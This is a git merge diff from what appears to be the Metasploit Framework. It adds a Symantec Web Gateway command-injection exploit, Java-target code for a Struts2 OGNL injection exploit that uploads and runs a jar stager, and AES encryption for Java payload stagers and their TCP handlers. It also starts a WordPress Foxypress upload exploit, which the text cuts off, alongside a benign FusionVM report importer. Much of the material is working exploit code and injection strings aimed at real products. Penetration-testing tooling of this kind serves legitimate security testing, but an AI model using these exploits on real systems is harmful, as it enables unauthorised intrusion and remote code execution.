Merge branch 'master' into feature/vuln-info
commit
6290bba71b
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,42 @@
|
||||||
|
package metasploit;
|
||||||
|
|
||||||
|
import java.io.DataInputStream;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.SecureRandom;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.CipherInputStream;
|
||||||
|
import javax.crypto.CipherOutputStream;
|
||||||
|
import javax.crypto.spec.IvParameterSpec;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Utility class to enable AES encryption for stagers. This is in its own class
|
||||||
|
* because it depends on classes only present on Sun JRE 1.4+, and incorporating
|
||||||
|
* it into the main {@link Payload} class would have made it impossible for
|
||||||
|
* other/older JREs to load it.
|
||||||
|
*/
|
||||||
|
public class AESEncryption {
|
||||||
|
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
|
||||||
|
DataInputStream din = new DataInputStream(in);
|
||||||
|
din.readInt(); // first class size 0 as marker in JavaPayload
|
||||||
|
SecureRandom sr = new SecureRandom();
|
||||||
|
byte[] outIV = new byte[16];
|
||||||
|
sr.nextBytes(outIV);
|
||||||
|
out.write(outIV);
|
||||||
|
out.flush();
|
||||||
|
byte[] inIV = new byte[16];
|
||||||
|
din.readFully(inIV);
|
||||||
|
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
|
||||||
|
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||||
|
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
|
||||||
|
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||||
|
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
|
||||||
|
return new Object[] {
|
||||||
|
new CipherInputStream(din, ci),
|
||||||
|
new CipherOutputStream(out, co),
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
|
@ -108,6 +108,9 @@ public class Payload extends ClassLoader {
|
||||||
if(props.getProperty("URL", "").startsWith("https:")) {
|
if(props.getProperty("URL", "").startsWith("https:")) {
|
||||||
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
|
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
|
||||||
}
|
}
|
||||||
|
if (props.getProperty("AESPassword", null) != null) {
|
||||||
|
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
|
||||||
|
}
|
||||||
FileOutputStream fos = new FileOutputStream(propFile);
|
FileOutputStream fos = new FileOutputStream(propFile);
|
||||||
props.store(fos, "");
|
props.store(fos, "");
|
||||||
fos.close();
|
fos.close();
|
||||||
|
@ -207,6 +210,15 @@ public class Payload extends ClassLoader {
|
||||||
out = socket.getOutputStream();
|
out = socket.getOutputStream();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
String aesPassword = props.getProperty("AESPassword", null);
|
||||||
|
if (aesPassword != null) {
|
||||||
|
// load the crypto code via reflection, to avoid loading
|
||||||
|
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
|
||||||
|
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
|
||||||
|
in = (InputStream) streams[0];
|
||||||
|
out = (OutputStream) streams[1];
|
||||||
|
}
|
||||||
|
|
||||||
// build the stage parameters, if any
|
// build the stage parameters, if any
|
||||||
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
|
StringTokenizer stageParamTokenizer = new StringTokenizer("Payload -- "+props.getProperty("StageParameters", ""), " ");
|
||||||
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
String[] stageParams = new String[stageParamTokenizer.countTokens()];
|
||||||
|
|
|
@ -10,6 +10,7 @@ require 'rex/parser/burp_session_nokogiri'
|
||||||
require 'rex/parser/ci_nokogiri'
|
require 'rex/parser/ci_nokogiri'
|
||||||
require 'rex/parser/wapiti_nokogiri'
|
require 'rex/parser/wapiti_nokogiri'
|
||||||
require 'rex/parser/openvas_nokogiri'
|
require 'rex/parser/openvas_nokogiri'
|
||||||
|
require 'rex/parser/fusionvm_nokogiri'
|
||||||
|
|
||||||
# Legacy XML parsers -- these will be converted some day
|
# Legacy XML parsers -- these will be converted some day
|
||||||
|
|
||||||
|
@ -2678,6 +2679,9 @@ class DBManager
|
||||||
if (firstline.index("<NeXposeSimpleXML"))
|
if (firstline.index("<NeXposeSimpleXML"))
|
||||||
@import_filedata[:type] = "NeXpose Simple XML"
|
@import_filedata[:type] = "NeXpose Simple XML"
|
||||||
return :nexpose_simplexml
|
return :nexpose_simplexml
|
||||||
|
elsif (firstline.index("<FusionVM"))
|
||||||
|
@import_filedata[:type] = "FusionVM XML"
|
||||||
|
return :fusionvm_xml
|
||||||
elsif (firstline.index("<NexposeReport"))
|
elsif (firstline.index("<NexposeReport"))
|
||||||
@import_filedata[:type] = "NeXpose XML Report"
|
@import_filedata[:type] = "NeXpose XML Report"
|
||||||
return :nexpose_rawxml
|
return :nexpose_rawxml
|
||||||
|
@ -4631,6 +4635,15 @@ class DBManager
|
||||||
res
|
res
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def import_fusionvm_xml(args={})
|
||||||
|
args[:wspace] ||= workspace
|
||||||
|
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||||
|
doc = Rex::Parser::FusionVMDocument.new(args,self)
|
||||||
|
parser = ::Nokogiri::XML::SAX::Parser.new(doc)
|
||||||
|
parser.parse(args[:data])
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Import Nmap's -oX xml output
|
# Import Nmap's -oX xml output
|
||||||
#
|
#
|
||||||
|
|
|
@ -146,7 +146,7 @@ module BindTcp
|
||||||
# to implement the Stream interface.
|
# to implement the Stream interface.
|
||||||
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
|
conn_threads << framework.threads.spawn("BindTcpHandlerSession", false, client) { |client_copy|
|
||||||
begin
|
begin
|
||||||
handle_connection(client_copy)
|
handle_connection(wrap_aes_socket(client_copy))
|
||||||
rescue
|
rescue
|
||||||
elog("Exception raised from BindTcp.handle_connection: #{$!}")
|
elog("Exception raised from BindTcp.handle_connection: #{$!}")
|
||||||
end
|
end
|
||||||
|
@ -157,6 +157,53 @@ module BindTcp
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def wrap_aes_socket(sock)
|
||||||
|
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
|
||||||
|
return sock
|
||||||
|
end
|
||||||
|
|
||||||
|
socks = Rex::Socket::tcp_socket_pair()
|
||||||
|
socks[0].extend(Rex::Socket::Tcp)
|
||||||
|
socks[1].extend(Rex::Socket::Tcp)
|
||||||
|
|
||||||
|
m = OpenSSL::Digest::Digest.new('md5')
|
||||||
|
m.reset
|
||||||
|
key = m.digest(datastore["AESPassword"] || "")
|
||||||
|
|
||||||
|
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||||
|
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||||
|
c1.encrypt
|
||||||
|
c1.key=key
|
||||||
|
sock.put([0].pack('N'))
|
||||||
|
sock.put(c1.iv=c1.random_iv)
|
||||||
|
buf1 = socks[0].read(4096)
|
||||||
|
while buf1 and buf1 != ""
|
||||||
|
sock.put(c1.update(buf1))
|
||||||
|
buf1 = socks[0].read(4096)
|
||||||
|
end
|
||||||
|
sock.close()
|
||||||
|
}
|
||||||
|
|
||||||
|
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||||
|
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||||
|
c2.decrypt
|
||||||
|
c2.key=key
|
||||||
|
iv=""
|
||||||
|
while iv.length < 16
|
||||||
|
iv << sock.read(16-iv.length)
|
||||||
|
end
|
||||||
|
c2.iv = iv
|
||||||
|
buf2 = sock.read(4096)
|
||||||
|
while buf2 and buf2 != ""
|
||||||
|
socks[0].put(c2.update(buf2))
|
||||||
|
buf2 = sock.read(4096)
|
||||||
|
end
|
||||||
|
socks[0].close()
|
||||||
|
}
|
||||||
|
|
||||||
|
return socks[1]
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Nothing to speak of.
|
# Nothing to speak of.
|
||||||
#
|
#
|
||||||
|
|
|
@ -161,7 +161,7 @@ module ReverseTcp
|
||||||
while true
|
while true
|
||||||
client = self.handler_queue.pop
|
client = self.handler_queue.pop
|
||||||
begin
|
begin
|
||||||
handle_connection(client)
|
handle_connection(wrap_aes_socket(client))
|
||||||
rescue ::Exception
|
rescue ::Exception
|
||||||
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
elog("Exception raised from handle_connection: #{$!.class}: #{$!}\n\n#{$@.join("\n")}")
|
||||||
end
|
end
|
||||||
|
@ -170,6 +170,51 @@ module ReverseTcp
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def wrap_aes_socket(sock)
|
||||||
|
if datastore["PAYLOAD"] !~ /java\// or (datastore["AESPassword"] || "") == ""
|
||||||
|
return sock
|
||||||
|
end
|
||||||
|
|
||||||
|
socks = Rex::Socket::tcp_socket_pair()
|
||||||
|
socks[0].extend(Rex::Socket::Tcp)
|
||||||
|
socks[1].extend(Rex::Socket::Tcp)
|
||||||
|
|
||||||
|
m = OpenSSL::Digest::Digest.new('md5')
|
||||||
|
m.reset
|
||||||
|
key = m.digest(datastore["AESPassword"] || "")
|
||||||
|
|
||||||
|
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||||
|
c1 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||||
|
c1.encrypt
|
||||||
|
c1.key=key
|
||||||
|
sock.put([0].pack('N'))
|
||||||
|
sock.put(c1.iv=c1.random_iv)
|
||||||
|
buf1 = socks[0].read(4096)
|
||||||
|
while buf1 and buf1 != ""
|
||||||
|
sock.put(c1.update(buf1))
|
||||||
|
buf1 = socks[0].read(4096)
|
||||||
|
end
|
||||||
|
sock.close()
|
||||||
|
}
|
||||||
|
Rex::ThreadFactory.spawn('AESEncryption', false) {
|
||||||
|
c2 = OpenSSL::Cipher::Cipher.new('aes-128-cfb8')
|
||||||
|
c2.decrypt
|
||||||
|
c2.key=key
|
||||||
|
iv=""
|
||||||
|
while iv.length < 16
|
||||||
|
iv << sock.read(16-iv.length)
|
||||||
|
end
|
||||||
|
c2.iv = iv
|
||||||
|
buf2 = sock.read(4096)
|
||||||
|
while buf2 and buf2 != ""
|
||||||
|
socks[0].put(c2.update(buf2))
|
||||||
|
buf2 = sock.read(4096)
|
||||||
|
end
|
||||||
|
socks[0].close()
|
||||||
|
}
|
||||||
|
return socks[1]
|
||||||
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Stops monitoring for an inbound connection.
|
# Stops monitoring for an inbound connection.
|
||||||
#
|
#
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
require "rex/parser/nokogiri_doc_mixin"
|
||||||
|
|
||||||
|
module Rex
|
||||||
|
module Parser
|
||||||
|
|
||||||
|
# If Nokogiri is available, define document class.
|
||||||
|
load_nokogiri && class FusionVMDocument < Nokogiri::XML::SAX::Document
|
||||||
|
|
||||||
|
|
||||||
|
include NokogiriDocMixin
|
||||||
|
|
||||||
|
def start_element(name=nil,attrs=[])
|
||||||
|
return nil if in_tag("JobOrder")
|
||||||
|
attrs = normalize_attrs(attrs)
|
||||||
|
attrs = attr_hash(attrs)
|
||||||
|
@state[:current_tag][name] = true
|
||||||
|
case name
|
||||||
|
when "IPAddress"
|
||||||
|
thost={}
|
||||||
|
return nil unless attrs["IPAddress"] and attrs["HostName"]
|
||||||
|
thost = {
|
||||||
|
:host => attrs["IPAddress"],
|
||||||
|
:name => attrs["HostName"],
|
||||||
|
:workspace => @args[:wspace]
|
||||||
|
}
|
||||||
|
thost[:host] = attrs["IPAddress"]
|
||||||
|
thost[:name] = attrs["HostName"]
|
||||||
|
@host = db_report(:host, thost)
|
||||||
|
when "OS"
|
||||||
|
@state[:has_text] = true
|
||||||
|
when "Port"
|
||||||
|
@service = {
|
||||||
|
:host => @host,
|
||||||
|
:port => attrs["Number"],
|
||||||
|
:state => "open"
|
||||||
|
}
|
||||||
|
when "Service"
|
||||||
|
@state[:has_text] = true
|
||||||
|
when "Protocol"
|
||||||
|
@state[:has_text] = true
|
||||||
|
when "Exposure"
|
||||||
|
@vuln = {
|
||||||
|
:host => @host,
|
||||||
|
:refs => []
|
||||||
|
}
|
||||||
|
when "Title"
|
||||||
|
@state[:has_text] = true
|
||||||
|
when "Description"
|
||||||
|
@state[:has_text] = true
|
||||||
|
when "CVE"
|
||||||
|
@state[:has_text] = true
|
||||||
|
when "References"
|
||||||
|
@state[:has_text] = true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def end_element(name=nil)
|
||||||
|
unless in_tag("JobOrder")
|
||||||
|
case name
|
||||||
|
when "OS"
|
||||||
|
unless @host.nil? or @text.blank?
|
||||||
|
tnote = {
|
||||||
|
:type => "host.os.fusionvm_fingerprint",
|
||||||
|
:data => { :os => @text.strip },
|
||||||
|
:host => @host,
|
||||||
|
:workspace => @args[:wspace]
|
||||||
|
}
|
||||||
|
db_report(:note, tnote)
|
||||||
|
@host.normalize_os
|
||||||
|
end
|
||||||
|
when "IPAdress"
|
||||||
|
@host = nil
|
||||||
|
when "Service"
|
||||||
|
@service[:name] = @text.strip
|
||||||
|
when "Protocol"
|
||||||
|
@service[:proto] = @text.strip.downcase
|
||||||
|
when "Port"
|
||||||
|
db_report(:service, @service)
|
||||||
|
when "Exposure"
|
||||||
|
db_report(:vuln, @vuln)
|
||||||
|
when "Title"
|
||||||
|
@vuln[:name] = @text.strip
|
||||||
|
when "Description"
|
||||||
|
@vuln[:info] = @text.strip
|
||||||
|
when "CVE"
|
||||||
|
@vuln[:refs] << "CVE-#{@text.strip}"
|
||||||
|
when "References"
|
||||||
|
unless @text.blank?
|
||||||
|
@text.split(' ').each do |ref|
|
||||||
|
next unless ref.start_with? "http"
|
||||||
|
if ref =~ /MS\d{2}-\d{3}/
|
||||||
|
@vuln[:refs] << "MSB-#{$&}"
|
||||||
|
else
|
||||||
|
@vuln[:refs] << "URL-#{ref.strip}"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
@text = nil
|
||||||
|
@state[:current_tag].delete name
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -32,13 +32,17 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'jcran' # Authentication bypass bruteforce implementation
|
'jcran' # Authentication bypass bruteforce implementation
|
||||||
],
|
],
|
||||||
'References' => [
|
'References' => [
|
||||||
['CVE', '2012-2122']
|
['CVE', '2012-2122'],
|
||||||
|
['OSVDB', '82804']
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Jun 09 2012',
|
'DisclosureDate' => 'Jun 09 2012',
|
||||||
'License' => MSF_LICENSE
|
'License' => MSF_LICENSE
|
||||||
)
|
)
|
||||||
|
|
||||||
deregister_options('PASSWORD')
|
deregister_options('PASSWORD')
|
||||||
|
register_options( [
|
||||||
|
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
|
||||||
|
], self.class )
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,97 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# Framework web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/framework/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => "Symantec Web Gateway 5.0.2.8 ipchange.php Command Injection",
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a command injection vulnerability found in Symantec Web
|
||||||
|
Gateway's HTTP service due to the insecure usage of the exec() function. This module
|
||||||
|
abuses the spywall/ipchange.php file to execute arbitrary OS commands without
|
||||||
|
authentication.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Tenable Network Security', # Vulnerability Discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2012-0297' ],
|
||||||
|
[ 'BID', '53444' ],
|
||||||
|
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-090' ],
|
||||||
|
[ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120517_00' ]
|
||||||
|
],
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'BadChars' => "\x00\x0d\x0a\x26",
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic perl',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Platform' => ['unix'],
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Symantec Web Gateway 5.0.2.8', {}],
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => "May 17 2012",
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_raw({
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => '/spywall/login.php'
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.body =~ /\<title\>Symantec Web Gateway\<\/title\>/
|
||||||
|
return Exploit::CheckCode::Detected
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
uri = target_uri.path
|
||||||
|
uri << '/' if uri[-1,1] != '/'
|
||||||
|
|
||||||
|
peer = "#{rhost}:#{rport}"
|
||||||
|
|
||||||
|
post_data = "subnet="
|
||||||
|
post_data << "\";" + payload.raw + ";#"
|
||||||
|
|
||||||
|
print_status("#{peer} - Sending Command injection")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => "#{uri}spywall/ipchange.php",
|
||||||
|
'data' => post_data
|
||||||
|
})
|
||||||
|
|
||||||
|
# If the server doesn't return the default redirection, probably
|
||||||
|
# something is wrong
|
||||||
|
if not res or res.code != 302 or res.headers['Location'] !~ /SW\/admin_config.php/
|
||||||
|
print_error("#{peer} - Probably command not executed, aborting!")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
|
@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "Symantec Web Gateway 5.0.2.8 Command Execution Vulnerability",
|
'Name' => "Symantec Web Gateway 5.0.2.8 relfile File Inclusion Vulnerability",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits a vulnerability found in Symantec Web Gateway's HTTP
|
This module exploits a vulnerability found in Symantec Web Gateway's HTTP
|
||||||
service. By injecting PHP code in the access log, it is possible to load it
|
service. By injecting PHP code in the access log, it is possible to load it
|
||||||
|
|
|
@ -29,7 +29,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Johannes Dahse', # Vulnerability discovery and PoC
|
'Johannes Dahse', # Vulnerability discovery and PoC
|
||||||
'Andreas Nusser', # Vulnerability discovery and PoC
|
'Andreas Nusser', # Vulnerability discovery and PoC
|
||||||
'juan vazquez', # Metasploit module
|
'juan vazquez', # Metasploit module
|
||||||
'sinn3r' # Metasploit module
|
'sinn3r', # Metasploit module
|
||||||
|
'mihi' # ARCH_JAVA support
|
||||||
],
|
],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Version' => '$Revision: $',
|
'Version' => '$Revision: $',
|
||||||
|
@ -40,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[ 'EDB', '18329'],
|
[ 'EDB', '18329'],
|
||||||
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
|
[ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt']
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win', 'linux'],
|
'Platform' => [ 'win', 'linux', 'java'],
|
||||||
'Privileged' => true,
|
'Privileged' => true,
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
|
@ -56,6 +57,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Platform' => 'linux'
|
'Platform' => 'linux'
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
[ 'Java Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'java'
|
||||||
|
},
|
||||||
|
]
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Jan 06 2012',
|
'DisclosureDate' => 'Jan 06 2012',
|
||||||
'DefaultTarget' => 0))
|
'DefaultTarget' => 0))
|
||||||
|
@ -73,6 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
uri = String.new(datastore['TARGETURI'])
|
uri = String.new(datastore['TARGETURI'])
|
||||||
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
|
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'
|
||||||
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
|
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'
|
||||||
|
uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,CMD,'')%2b'") if target['Platform'] == 'java'
|
||||||
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
|
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
|
||||||
|
|
||||||
vprint_status("Attempting to execute: #{cmd}")
|
vprint_status("Attempting to execute: #{cmd}")
|
||||||
|
@ -120,14 +128,63 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
@payload_exe = "/tmp/" + file
|
@payload_exe = "/tmp/" + file
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_new_session(client)
|
def java_upload_part(part, filename, append = 'false')
|
||||||
if target['Platform'] == 'linux'
|
cmd = ""
|
||||||
print_status("Deleting #{@payload_exe} payload file")
|
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
||||||
execute_command("/bin/sh@-c@rm #{@payload_exe}")
|
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
||||||
else
|
cmd << "#f.close()"
|
||||||
print_status("Windows does not allow running executables to be deleted")
|
execute_command(cmd)
|
||||||
print_status("Delete the #{@payload_exe} file manually after migrating")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def java_stager
|
||||||
|
@payload_exe = rand_text_alphanumeric(4+rand(4)) + ".jar"
|
||||||
|
append = 'false'
|
||||||
|
jar = payload.encoded_jar.pack
|
||||||
|
|
||||||
|
chunk_length = 384 # 512 bytes when base64 encoded
|
||||||
|
|
||||||
|
while(jar.length > chunk_length)
|
||||||
|
java_upload_part(jar[0, chunk_length], @payload_exe, append)
|
||||||
|
jar = jar[chunk_length, jar.length - chunk_length]
|
||||||
|
append='true'
|
||||||
|
end
|
||||||
|
java_upload_part(jar, @payload_exe, append)
|
||||||
|
|
||||||
|
cmd = ""
|
||||||
|
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
|
||||||
|
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
||||||
|
cmd << "#q.setAccessible(true),#q.set(null,true),"
|
||||||
|
cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
||||||
|
cmd << "#q.setAccessible(true),#q.set(null,false),"
|
||||||
|
# create classloader
|
||||||
|
cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
|
||||||
|
# load class
|
||||||
|
cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
||||||
|
# invoke main method
|
||||||
|
cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
||||||
|
cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
||||||
|
execute_command(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_new_session(client)
|
||||||
|
|
||||||
|
if client.type != "meterpreter"
|
||||||
|
print_error("Please use a meterpreter payload in order to automatically cleanup.")
|
||||||
|
print_error("The #{@payload_exe} file must be removed manually.")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
|
||||||
|
|
||||||
|
if client.sys.config.sysinfo["OS"] =~ /Windows/
|
||||||
|
print_error("Windows does not allow running executables to be deleted")
|
||||||
|
print_error("The #{@payload_exe} file must be removed manually after migrating")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Deleting the #{@payload_exe} file")
|
||||||
|
client.fs.file.rm(@payload_exe)
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def exploit
|
def exploit
|
||||||
|
@ -142,6 +199,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
linux_stager
|
linux_stager
|
||||||
when 'win'
|
when 'win'
|
||||||
windows_stager
|
windows_stager
|
||||||
|
when 'java'
|
||||||
|
java_stager
|
||||||
else
|
else
|
||||||
raise RuntimeError, 'Unsupported target platform!'
|
raise RuntimeError, 'Unsupported target platform!'
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,109 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'WordPress plugin Foxypress uploadify.php Arbitrary Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an arbitrary PHP code execution flaw in the WordPress
|
||||||
|
blogging software plugin known as Foxypress. The vulnerability allows for arbitrary
|
||||||
|
file upload and remote code execution via the uploadify.php script. The Foxypress
|
||||||
|
plug-in versions 0.4.2.1 and below are vulnerable.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Sammy FORGIT', # Vulnerability Discovery, PoC
|
||||||
|
'patrick' # Metasploit module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Version' => '$Revision$',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['EDB', '18991'],
|
||||||
|
['OSVDB', '82652'],
|
||||||
|
['BID', '53805'],
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'ConnectionType' => 'find',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Targets' => [[ 'Automatic', { }]],
|
||||||
|
'DisclosureDate' => 'Jun 05 2012',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('TARGETURI', [true, "The full URI path to WordPress", "/"]),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
